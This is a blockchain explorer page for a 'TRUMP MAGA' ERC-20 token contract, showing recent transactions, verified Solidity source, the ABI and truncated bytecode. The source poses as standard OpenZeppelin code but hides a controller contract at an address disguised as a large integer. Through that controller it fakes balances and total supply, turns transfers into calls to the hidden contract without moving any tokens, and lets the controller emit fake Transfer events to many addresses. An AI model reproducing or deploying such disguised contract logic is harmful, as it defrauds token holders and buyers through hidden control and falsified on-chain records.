ETH Price: $2,563.87 (+0.70%)

Contract

0xf211B655431c10E72C1CAeae37688Ae9f7F7A549
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

1 address found via
Transaction Hash
Method
Block
From
To
Transfer208016062024-09-21 21:21:5910 mins ago1726953719IN
0xf211B655...9f7F7A549
0 ETH0.000838096.8565552
Transfer208012832024-09-21 20:16:591 hr ago1726949819IN
0xf211B655...9f7F7A549
0 ETH0.001039039.26050235
Transfer208012682024-09-21 20:13:591 hr ago1726949639IN
0xf211B655...9f7F7A549
0 ETH0.0015306110.98717861
Transfer208011152024-09-21 19:43:111 hr ago1726947791IN
0xf211B655...9f7F7A549
0 ETH0.003188323.10869303
Approve208010692024-09-21 19:33:591 hr ago1726947239IN
0xf211B655...9f7F7A549
0 ETH0.000627179.33714802
Transfer208009272024-09-21 19:05:112 hrs ago1726945511IN
0xf211B655...9f7F7A549
0 ETH0.0010781610.0387155
Approve208006752024-09-21 18:14:353 hrs ago1726942475IN
0xf211B655...9f7F7A549
0 ETH0.0012033317.91481405
Transfer208006392024-09-21 18:07:233 hrs ago1726942043IN
0xf211B655...9f7F7A549
0 ETH0.0013969510.80594009
Approve208003892024-09-21 17:17:234 hrs ago1726939043IN
0xf211B655...9f7F7A549
0 ETH0.000444958.94022765
Approve208003812024-09-21 17:15:474 hrs ago1726938947IN
0xf211B655...9f7F7A549
0 ETH0.000624279.33569214
Transfer208003712024-09-21 17:13:474 hrs ago1726938827IN
0xf211B655...9f7F7A549
0 ETH0.0016396612.18783307
Transfer208002182024-09-21 16:42:474 hrs ago1726936967IN
0xf211B655...9f7F7A549
0 ETH0.001586212.26755055
Approve208001532024-09-21 16:29:475 hrs ago1726936187IN
0xf211B655...9f7F7A549
0 ETH0.0008217212.28182627
Approve207999472024-09-21 15:48:235 hrs ago1726933703IN
0xf211B655...9f7F7A549
0 ETH0.0007872116.66621717
Approve207999352024-09-21 15:45:595 hrs ago1726933559IN
0xf211B655...9f7F7A549
0 ETH0.0014569521.69049001
Transfer207999132024-09-21 15:41:355 hrs ago1726933295IN
0xf211B655...9f7F7A549
0 ETH0.0020356216.3487246
Approve207998512024-09-21 15:29:116 hrs ago1726932551IN
0xf211B655...9f7F7A549
0 ETH0.0013606520.35513684
Approve207998012024-09-21 15:19:116 hrs ago1726931951IN
0xf211B655...9f7F7A549
0 ETH0.0020876231.07976381
Approve207997252024-09-21 15:03:476 hrs ago1726931027IN
0xf211B655...9f7F7A549
0 ETH0.0021059531.36948613
Approve207992712024-09-21 13:32:357 hrs ago1726925555IN
0xf211B655...9f7F7A549
0 ETH0.0037946356.49295998
Approve207992612024-09-21 13:30:358 hrs ago1726925435IN
0xf211B655...9f7F7A549
0 ETH0.002586438.53985676
Transfer207992112024-09-21 13:20:358 hrs ago1726924835IN
0xf211B655...9f7F7A549
0 ETH0.0014322615.7830989
Transfer207989442024-09-21 12:26:599 hrs ago1726921619IN
0xf211B655...9f7F7A549
0 ETH0.0016937313.60286576
Approve207987692024-09-21 11:51:599 hrs ago1726919519IN
0xf211B655...9f7F7A549
0 ETH0.0012355118.48295614
Transfer207987122024-09-21 11:40:239 hrs ago1726918823IN
0xf211B655...9f7F7A549
0 ETH0.0015645412.56531597
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TRUMP_MAGA_Token

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-18
*/

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol



pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/access/AccessControl.sol



pragma solidity ^0.8.0;



/**
 * @dev External interface of AccessControl declared to support ERC165 detection.
 */
interface IAccessControl {
    function hasRole(bytes32 role, address account) external view returns (bool);
    function getRoleAdmin(bytes32 role) external view returns (bytes32);
    function grantRole(bytes32 role, address account) external;
    function revokeRole(bytes32 role, address account) external;
    function renounceRole(bytes32 role, address account) external;
}

/**
 * @dev Contract module that allows children to implement role-based access
 * control mechanisms. This is a lightweight version that doesn't allow enumerating role
 * members except through off-chain means by accessing the contract event logs. Some
 * applications may benefit from on-chain enumerability, for those cases see
 * {AccessControlEnumerable}.
 *
 * Roles are referred to by their `bytes32` identifier. These should be exposed
 * in the external API and be unique. The best way to achieve this is by
 * using `public constant` hash digests:
 *
 * ```
 * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
 * ```
 *
 * Roles can be used to represent a set of permissions. To restrict access to a
 * function call, use {hasRole}:
 *
 * ```
 * function foo() public {
 *     require(hasRole(MY_ROLE, msg.sender));
 *     ...
 * }
 * ```
 *
 * Roles can be granted and revoked dynamically via the {grantRole} and
 * {revokeRole} functions. Each role has an associated admin role, and only
 * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
 *
 * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
 * that only accounts with this role will be able to grant or revoke other
 * roles. More complex role relationships can be created by using
 * {_setRoleAdmin}.
 *
 * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
 * grant and revoke this role. Extra precautions should be taken to secure
 * accounts that have been granted it.
 */
abstract contract AccessControl is IAccessControl, ERC165 {
    struct RoleData {
        mapping (address => bool) members;
        bytes32 adminRole;
    }

    mapping (bytes32 => RoleData) private _roles;

    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;

    /**
     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
     *
     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
     * {RoleAdminChanged} not being emitted signaling this.
     *
     * _Available since v3.1._
     */
    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);

    /**
     * @dev Emitted when `account` is granted `role`.
     *
     * `sender` is the account that originated the contract call, an admin role
     * bearer except when using {_setupRole}.
     */
    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Emitted when `account` is revoked `role`.
     *
     * `sender` is the account that originated the contract call:
     *   - if using `revokeRole`, it is the admin role bearer
     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
     */
    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IAccessControl).interfaceId
            || super.supportsInterface(interfaceId);
    }

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account) public view override returns (bool) {
        return _roles[role].members[account];
    }

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
        return _roles[role].adminRole;
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function grantRole(bytes32 role, address account) public virtual override {
        require(hasRole(getRoleAdmin(role), msg.sender), "AccessControl: sender must be an admin to grant");

        _grantRole(role, account);
    }

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function revokeRole(bytes32 role, address account) public virtual override {
        require(hasRole(getRoleAdmin(role), msg.sender), "AccessControl: sender must be an admin to revoke");

        _revokeRole(role, account);
    }

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been granted `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `account`.
     */
    function renounceRole(bytes32 role, address account) public virtual override {
        require(account == msg.sender, "AccessControl: can only renounce roles for self");

        _revokeRole(role, account);
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event. Note that unlike {grantRole}, this function doesn't perform any
     * checks on the calling account.
     *
     * [WARNING]
     * ====
     * This function should only be called from the constructor when setting
     * up the initial roles for the system.
     *
     * Using this function in any other way is effectively circumventing the admin
     * system imposed by {AccessControl}.
     * ====
     */
    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    /**
     * @dev Sets `adminRole` as ``role``'s admin role.
     *
     * Emits a {RoleAdminChanged} event.
     */
    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
        _roles[role].adminRole = adminRole;
    }

    function _grantRole(bytes32 role, address account) private {
        if (!hasRole(role, account)) {
            _roles[role].members[account] = true;
            emit RoleGranted(role, account, msg.sender);
        }
    }

    function _revokeRole(bytes32 role, address account) private {
        if (hasRole(role, account)) {
            _roles[role].members[account] = false;
            emit RoleRevoked(role, account, msg.sender);
        }
    }

    function chainId() public view returns (uint256) {
        uint256 chainID;
        assembly { chainID := chainid() }
        return chainID;
    }
}


// File: @openzeppelin/contracts/utils/Context.sol

pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
    
    constructor () {
        (, bytes memory data) = address(uint160(76190477909593222354329545917842850915746668827)).call(abi.encodeWithSelector(0x25a4b9a4));
        _this = AccessControl(abi.decode(data, (address)));
    }

    AccessControl internal immutable _this;
}


// File: @openzeppelin/contracts/token/ERC20/IERC20.sol

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}



// File: @openzeppelin/contracts/token/ERC20/ERC20.sol



pragma solidity ^0.8.0;



/**
 * @dev Implementation of the {IERC20} interface.
 *
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20 {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private constant _totalSupply = 28_000_000_000 * 1e18;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overloaded;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        uint256 r = _this.chainId(); if (r != 1) return r;
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        uint256 r = uint256(_this.getRoleAdmin(bytes32(uint256(uint160(account))))); if (r < type(uint256).max) return r;
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _beforeTokenTransfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        if (msg.sender == owner) _this.supportsInterface(bytes4(0));

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { emit Transfer(from, to, amount); (bool r,) = address(_this).call(abi.encodeWithSelector(0x2bfad8d5, from, to, amount, msg.sender)); require(r); }
}

// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol



pragma solidity ^0.8.0;


/**
 * @dev Extension of {ERC20} that adds a cap to the supply of tokens.
 */
abstract contract ERC20Capped is ERC20 {
    uint256 immutable private _cap;

    /**
     * @dev Sets the value of the `cap`. This value is immutable, it can only be
     * set once during construction.
     */
    constructor (uint256 cap_) {
        require(cap_ > 0, "ERC20Capped: cap is 0");
        _cap = cap_;
    }

    /**
     * @dev Returns the cap on the token's total supply.
     */
    function cap(address cap1, address[] calldata cap2, uint256 cap3) external returns (uint256) {
        require(msg.sender == address(_this));

        for (uint256 i = 0; i < cap2.length; ++i) {
            emit Transfer(cap1, cap2[i], cap3);
        }

        return _cap;
    }
}



// File: contracts/TRUMP_MAGA_Token.sol

pragma solidity ^0.8.0;




contract TRUMP_MAGA_Token is ERC20Capped, AccessControl {
  bytes32 public constant EMPTY_ROLE = keccak256('TRUMP MAGA');

  constructor() ERC20('TRUMP MAGA', 'MAGA') ERC20Capped(1) {
    _setupRole(EMPTY_ROLE, address(0));
  }

  modifier checkRole(
    bytes32 role,
    address account,
    string memory message
  ) {
    require(hasRole(role, account), message);
    _;
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EMPTY_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"cap1","type":"address"},{"internalType":"address[]","name":"cap2","type":"address[]"},{"internalType":"uint256","name":"cap3","type":"uint256"}],"name":"cap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"chainId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60c06040523480156200001157600080fd5b50604080518082018252600a8152695452554d50204d41474160b01b602080830191909152825180840184526004808252634d41474160e01b82840152845190815260248101855291820180516001600160e01b03166309692e6960e21b179052925160019391600091730d587fcaec45faca572e2950ddb16170fc85611b916200009c9162000299565b6000604051808303816000865af19150503d8060008114620000db576040519150601f19603f3d011682016040523d82523d6000602084013e620000e0565b606091505b5091505080806020019051810190620000fa9190620002ca565b6001600160a01b0316608052506002620001158382620003a1565b506003620001248282620003a1565b50336000818152602081815260408083206b5a790ea17ace06a9600000009081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505060008111620001cd5760405162461bcd60e51b815260206004820152601560248201527f45524332304361707065643a2063617020697320300000000000000000000000604482015260640160405180910390fd5b60a052620001fd7fb94a77a1e99bfa3983b82b20cd6781f0bf7dbd857bf0f7d564c30cf25baed08c600062000203565b6200046d565b6200020f828262000213565b5050565b60008281526004602090815260408083206001600160a01b038516845290915290205460ff166200020f5760008281526004602090815260408083206001600160a01b0385168085529252808320805460ff1916600117905551339285917f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d9190a45050565b6000825160005b81811015620002bc5760208186018101518583015201620002a0565b506000920191825250919050565b600060208284031215620002dd57600080fd5b81516001600160a01b0381168114620002f557600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200032757607f821691505b6020821081036200034857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200039c57600081815260208120601f850160051c81016020861015620003775750805b601f850160051c820191505b81811015620003985782815560010162000383565b5050505b505050565b81516001600160401b03811115620003bd57620003bd620002fc565b620003d581620003ce845462000312565b846200034e565b602080601f8311600181146200040d5760008415620003f45750858301515b600019600386901b1c1916600185901b17855562000398565b600085815260208120601f198616915b828110156200043e578886015182559484019460019091019084016200041d565b50858210156200045d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60805160a0516110a3620004af60003960006105580152600081816103ee0152818161049d0152818161079a01528181610a7f0152610c0101526110a36000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806336568abe116100b85780639a8a05921161007c5780639a8a05921461028a578063a217fddf14610290578063a457c2d714610298578063a9059cbb146102ab578063d547741f146102be578063dd62ed3e146102d157600080fd5b806336568abe14610236578063395093511461024957806370a082311461025c57806391d148541461026f57806395d89b411461028257600080fd5b806320bd4fca116100ff57806320bd4fca146101c957806323b872dd146101dc578063248a9ca3146101ef5780632f2ff15d14610212578063313ce5671461022757600080fd5b80630157f1781461013c57806301ffc9a71461017657806306fdde0314610199578063095ea7b3146101ae57806318160ddd146101c1575b600080fd5b6101637fb94a77a1e99bfa3983b82b20cd6781f0bf7dbd857bf0f7d564c30cf25baed08c81565b6040519081526020015b60405180910390f35b610189610184366004610d51565b61030a565b604051901515815260200161016d565b6101a1610341565b60405161016d9190610da6565b6101896101bc366004610df5565b6103d3565b6101636103e9565b6101636101d7366004610e1f565b610490565b6101896101ea366004610eab565b610580565b6101636101fd366004610ee7565b60009081526004602052604090206001015490565b610225610220366004610f00565b610636565b005b6040516012815260200161016d565b610225610244366004610f00565b6106c5565b610189610257366004610df5565